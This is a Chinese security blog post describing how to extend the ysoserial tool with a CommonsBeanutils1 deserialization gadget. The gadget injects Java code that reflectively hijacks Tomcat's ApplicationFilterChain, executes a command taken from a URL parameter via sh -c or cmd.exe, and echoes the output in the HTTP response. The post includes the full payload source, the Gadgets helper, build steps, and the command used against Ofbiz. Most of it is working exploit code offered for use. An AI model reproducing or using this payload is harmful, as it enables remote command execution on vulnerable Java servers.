ysoserial系列之添加Tomcat半通用回显payload

admin 2022年6月18日23:10:55评论65 views字数 12353阅读41分10秒阅读模式

0x00 前言

之前的文章讲过了ysoserial工具架构和Tomcat半回显方法即利用ApplicationFilterChain实现。

这里看看怎么将这种半通用回显方法添加到ysoserial中。

0x01 添加payload

回忆下,要将自定义的payload添加到ysoserial的payloads包中时,需要满足:

  1. 自定义的payload类必须实现ObjectPayload接口类且必须重写其getObject()函数;

  2. 需要在main()函数中添加PayloadRunner测试方法;

这里以CommonsBeanutils1这条利用链为例,其他Gadget改造方法一样的。

简单地说就是把原本这条Gadget中直接通过Runtime.getRuntime().exec()来执行cmd命令换成我们的ApplicationFilterChain半回显代码来执行即可。

参考之前的文章中的半回显方法的代码,把代码中泛型部分去掉、将类名写成完整的类名以及添加小部分的类型转换,具体代码如下:

// 获取ApplicationDispatcher类的WRAP_SAME_OBJECT声明字段// 和ApplicationFilterChain类的lastServicedRequest与lastServicedResponse声明字段java.lang.reflect.Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");java.lang.reflect.Field lastServicedRequestField = org.apache.catalina.core.ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");java.lang.reflect.Field lastServicedResponseField = org.apache.catalina.core.ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
// 获取Field类的modifiers声明字段java.lang.reflect.Field modifiersField = java.lang.reflect.Field.class.getDeclaredField("modifiers");
// 添加访问权限才能访问私有属性WRAP_SAME_OBJECT_FIELD.setAccessible(true);modifiersField.setAccessible(true);lastServicedRequestField.setAccessible(true);lastServicedResponseField.setAccessible(true);
// 清除代表final的那个bit,才能成功修改static finalmodifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() &~ java.lang.reflect.Modifier.FINAL);modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() &~ java.lang.reflect.Modifier.FINAL);modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() &~ java.lang.reflect.Modifier.FINAL);
// 获取当前WRAP_SAME_OBJECT_FIELD的值boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);
// 尝试获取当前lastServicedRequest和lastServicedResponse的值// 如果不是第一次访问该接口则为非nullThreadLocal lastServicedRequest = (ThreadLocal) lastServicedRequestField.get(null);ThreadLocal lastServicedResponse = (ThreadLocal) lastServicedResponseField.get(null);
// 非null就可以直接获取URL参数cmdString cmd = lastServicedRequest != null ? ((javax.servlet.ServletRequest) lastServicedRequest.get()).getParameter("cmd") : null;if (cmd != null) { System.out.println("[*]获取到请求的cmd参数: " + cmd);}
// 如果WRAP_SAME_OBJECT_FIELD值为false,说明是第一次调用、还未进行反射修改// 也未新建lastServicedRequest与lastServicedResponse实例if (!WRAP_SAME_OBJECT || lastServicedRequest == null || lastServicedResponse == null) { System.out.println("[*]通过反射机制来修改WRAP_SAME_OBJECT的值为true"); // 修改WRAP_SAME_OBJECT为true,才能反射修改到lastServicedRequest和lastServicedResponse WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
// 新建lastServicedRequest和lastServicedResponse实例,避免默认null导致报错 lastServicedRequestField.set(null, new ThreadLocal()); lastServicedResponseField.set(null, new ThreadLocal());} else if (cmd != null) { // 执行cmd命令并添加到Response中回显
System.out.println("[*]WRAP_SAME_OBJECT的值已为true且存在cmd参数");
// 获取保存到lastServicedResponse中的ServletResponse javax.servlet.ServletResponse servletResponse = (javax.servlet.ServletResponse) lastServicedResponse.get(); java.io.PrintWriter printWriter = servletResponse.getWriter();
// 获取ResponseFacade类的response声明字段,通过其获取ServletResponse里的Response对象 java.lang.reflect.Field responseField = org.apache.catalina.connector.ResponseFacade.class.getDeclaredField("response"); responseField.setAccessible(true); org.apache.catalina.connector.Response response = (org.apache.catalina.connector.Response) responseField.get(servletResponse);
// 反射修改Response对象的usingWriter声明字段为false,告诉程序未调用getWriter() // 不加这段代码也能成功回显命令执行结果,但会报错显示当前Response已调用getWriter() // 这是因为后续会调用Response的getOutputStream(),该函数和getWriter()是互相排斥的 // 但可通过反射修改usingWriter标志使得程序认为未调用getWriter()而跳过抛出异常的逻辑 java.lang.reflect.Field usingWriterField = org.apache.catalina.connector.Response.class.getDeclaredField("usingWriter"); usingWriterField.setAccessible(true); usingWriterField.set(response, Boolean.FALSE);
// 判断当前OS类型 boolean isLinux = true; String osType = System.getProperty("os.name"); if (osType != null && osType.toLowerCase().contains("win")) { isLinux = false; }
// 执行命令并将结果写入ServletResponse的PrintWriter中 String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; java.io.InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream(); java.util.Scanner scanner = new java.util.Scanner(inputStream).useDelimiter("\a"); String output = scanner.hasNext() ? scanner.next() : ""; printWriter.write(output); printWriter.flush();}

接着在ysoserial/payloads/util/Gadgets类中添加自定义实现的两个createTomcatApplicationFilterChainTemplatesImpl()方法,具体说明看注释:

// 从ysoserial命令行传参的为指定URL参数名称    public static Object createTomcatApplicationFilterChainTemplatesImpl( final String param_name ) throws Exception {        // 默认URL参数名为cmd        String param = param_name.equals("") ? "cmd" : param_name;        // 将回显代码和URL参数名进行拼接        String echo_code = "// 获取ApplicationDispatcher类的WRAP_SAME_OBJECT声明字段n" +            "// 和ApplicationFilterChain类的lastServicedRequest与lastServicedResponse声明字段n" +            "java.lang.reflect.Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");n" +            "java.lang.reflect.Field lastServicedRequestField = org.apache.catalina.core.ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");n" +            "java.lang.reflect.Field lastServicedResponseField = org.apache.catalina.core.ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");n" +            "n" +            "// 获取Field类的modifiers声明字段n" +            "java.lang.reflect.Field modifiersField = java.lang.reflect.Field.class.getDeclaredField("modifiers");n" +            "n" +            "// 添加访问权限才能访问私有属性n" +            "WRAP_SAME_OBJECT_FIELD.setAccessible(true);n" +            "modifiersField.setAccessible(true);n" +            "lastServicedRequestField.setAccessible(true);n" +            "lastServicedResponseField.setAccessible(true);n" +            "n" +            "// 清除代表final的那个bit,才能成功修改static finaln" +            "modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() &~ java.lang.reflect.Modifier.FINAL);n" +            "modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() &~ java.lang.reflect.Modifier.FINAL);n" +            "modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() &~ java.lang.reflect.Modifier.FINAL);n" +            "n" +            "// 获取当前WRAP_SAME_OBJECT_FIELD的值n" +            "boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);n" +            "n" +            "// 尝试获取当前lastServicedRequest和lastServicedResponse的值n" +            "// 如果不是第一次访问该接口则为非nulln" +            "ThreadLocal lastServicedRequest = (ThreadLocal) lastServicedRequestField.get(null);n" +            "ThreadLocal lastServicedResponse = (ThreadLocal) lastServicedResponseField.get(null);n" +            "n" +            "// 非null就可以直接获取URL参数cmdn" +            "String cmd = lastServicedRequest != null ? ((javax.servlet.ServletRequest) lastServicedRequest.get()).getParameter("" + param + "") : null;n" +            "if (cmd != null) {n" +            "    System.out.println("[*]获取到请求的cmd参数: " + cmd);n" +            "}n" +            "n" +            "// 如果WRAP_SAME_OBJECT_FIELD值为false,说明是第一次调用、还未进行反射修改n" +            "// 也未新建lastServicedRequest与lastServicedResponse实例n" +            "if (!WRAP_SAME_OBJECT || lastServicedRequest == null || lastServicedResponse == null) {n" +            "    System.out.println("[*]通过反射机制来修改WRAP_SAME_OBJECT的值为true");n" +            "    // 修改WRAP_SAME_OBJECT为true,才能反射修改到lastServicedRequest和lastServicedResponsen" +            "    WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);n" +            "n" +            "    // 新建lastServicedRequest和lastServicedResponse实例,避免默认null导致报错n" +            "    lastServicedRequestField.set(null, new ThreadLocal());n" +            "    lastServicedResponseField.set(null, new ThreadLocal());n" +            "} else if (cmd != null) {n" +            "    // 执行cmd命令并添加到Response中回显n" +            "n" +            "    System.out.println("[*]WRAP_SAME_OBJECT的值已为true且存在cmd参数");n" +            "n" +            "    // 获取保存到lastServicedResponse中的ServletResponsen" +            "    javax.servlet.ServletResponse servletResponse = (javax.servlet.ServletResponse) lastServicedResponse.get();n" +            "    java.io.PrintWriter printWriter = servletResponse.getWriter();n" +            "n" +            "    // 获取ResponseFacade类的response声明字段,通过其获取ServletResponse里的Response对象n" +            "    java.lang.reflect.Field responseField = org.apache.catalina.connector.ResponseFacade.class.getDeclaredField("response");n" +            "    responseField.setAccessible(true);n" +            "    org.apache.catalina.connector.Response response = (org.apache.catalina.connector.Response) responseField.get(servletResponse);n" +            "n" +            "    // 反射修改Response对象的usingWriter声明字段为false,告诉程序未调用getWriter()n" +            "    // 不加这段代码也能成功回显命令执行结果,但会报错显示当前Response已调用getWriter()n" +            "    // 这是因为后续会调用Response的getOutputStream(),该函数和getWriter()是互相排斥的n" +            "    // 但可通过反射修改usingWriter标志使得程序认为未调用getWriter()而跳过抛出异常的逻辑n" +            "    java.lang.reflect.Field usingWriterField = org.apache.catalina.connector.Response.class.getDeclaredField("usingWriter");n" +            "    usingWriterField.setAccessible(true);n" +            "    usingWriterField.set(response, Boolean.FALSE);n" +            "n" +            "    // 判断当前OS类型n" +            "    boolean isLinux = true;n" +            "    String osType = System.getProperty("os.name");n" +            "    if (osType != null && osType.toLowerCase().contains("win")) {n" +            "        isLinux = false;n" +            "    }n" +            "n" +            "    // 执行命令并将结果写入ServletResponse的PrintWriter中n" +            "    String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};n" +            "    java.io.InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();n" +            "    java.util.Scanner scanner = new java.util.Scanner(inputStream).useDelimiter("\\a");n" +            "    String output = scanner.hasNext() ? scanner.next() : "";n" +            "    printWriter.write(output);n" +            "    printWriter.flush();n" +            "}";
if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { return createTomcatApplicationFilterChainTemplatesImpl( Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"), echo_code); } return createTomcatApplicationFilterChainTemplatesImpl(TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class, echo_code); }
public static <T> T createTomcatApplicationFilterChainTemplatesImpl( Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory, String echo_code ) throws Exception { final T templates = tplClass.newInstance();
// use template gadget class ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); pool.insertClassPath(new ClassClassPath(abstTranslet)); final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections// String cmd = "java.lang.Runtime.getRuntime().exec("" +// command.replaceAll("\\","\\\\").replaceAll(""", "\"") +// "");";// clazz.makeClassInitializer().insertAfter(cmd); // 这里替换上述原本的Runtime直接执行命令为执行我们的回显代码 clazz.makeClassInitializer().insertAfter(echo_code); // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) clazz.setName("ysoserial.Pwner" + System.nanoTime()); CtClass superC = pool.get(abstTranslet.getName()); clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode();
// inject class bytes into instance Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { classBytes, ClassFiles.classAsBytes(Foo.class) });
// required to make TemplatesImpl happy Reflections.setFieldValue(templates, "_name", "Pwnr"); Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); return templates; }

然后新建CB1TomcatApplicationFilterChainEcho类,参考CommonsBeanutils1类,直接修改下重写的getObject()函数中调用Gadgets.createTomcatApplicationFilterChainTemplatesImpl()函数来获取新的TemplatesImpl类对象:

package ysoserial.payloads;
import org.apache.commons.beanutils.BeanComparator;import ysoserial.payloads.util.Gadgets;import ysoserial.payloads.util.PayloadRunner;import ysoserial.payloads.util.Reflections;
import java.math.BigInteger;import java.util.PriorityQueue;
public class CB1TomcatApplicationFilterChainEcho implements ObjectPayload<Object> { @Override public Object getObject(String command) throws Exception { final Object templates = Gadgets.createTomcatApplicationFilterChainTemplatesImpl(command); // mock method name until armed final BeanComparator comparator = new BeanComparator("lowestSetBit");
// create queue with numbers and basic comparator final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator); // stub data for replacement later queue.add(new BigInteger("1")); queue.add(new BigInteger("1"));
// switch method called by comparator Reflections.setFieldValue(comparator, "property", "outputProperties");
// switch contents of queue final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); queueArray[0] = templates; queueArray[1] = templates;
return queue; }
public static void main(final String[] args) throws Exception { PayloadRunner.run(CB1TomcatApplicationFilterChainEcho.class, args); }}

最后,打包成新的jar包:

mvn clean package -DskipTests

0x02 Ofbiz回显利用

运行新编译生成的ysoserial工具,指定payload类为自定义的CB1TomcatApplicationFilterChainEcho类,其中参数为名为param的URL参数:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CB1TomcatApplicationFilterChainEcho "param" | base64 | tr -d "n"

成功回显:

ysoserial系列之添加Tomcat半通用回显payload

0x03 参考

https://github.com/kingkaki/ysoserial

原文始发于微信公众号(98KSec):ysoserial系列之添加Tomcat半通用回显payload

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月18日23:10:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ysoserial系列之添加Tomcat半通用回显payloadhttps://cn-sec.com/archives/1127043.html

发表评论

匿名网友 填写信息